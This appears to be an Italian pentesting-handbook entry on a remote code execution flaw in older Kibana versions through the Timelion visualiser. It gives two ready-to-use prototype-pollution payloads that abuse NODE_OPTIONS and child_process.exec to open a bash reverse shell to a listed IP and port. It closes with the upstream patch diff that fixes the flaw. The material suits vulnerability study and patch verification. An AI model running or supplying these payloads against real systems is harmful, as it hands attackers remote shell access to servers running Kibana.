
RCE su versioni di Kibana precedenti alla 5.6.15 e 6.6.0 nel visualizzatore Timelion
Le versioni di Kibana precedenti alla 5.6.15 e alla 6.6.1 contengono una falla di esecuzione arbitraria di codice nel visualizzatore Timelion. Un attaccante con accesso all'applicazione Timelion potrebbe inviare una richiesta che tenta di eseguire codice javascript. Ciò potrebbe portare un attaccante a eseguire comandi arbitrari con i permessi del processo Kibana sul sistema host.
Trovato da @securityMB
Nota: ho testato questo attacco su Kibana 6.6.0 ma non funzionava... dalla mia parte solo le versioni di Kibana < 6.6.0 sono vulnerabili, come spiegato da @securityMB
EDIT 20/12/2019: se il pannello Canvas non è accessibile, controlla questo writeup di @Synacttiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
Analisi dettagliata (in inglese):
Avviso di sicurezza:
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];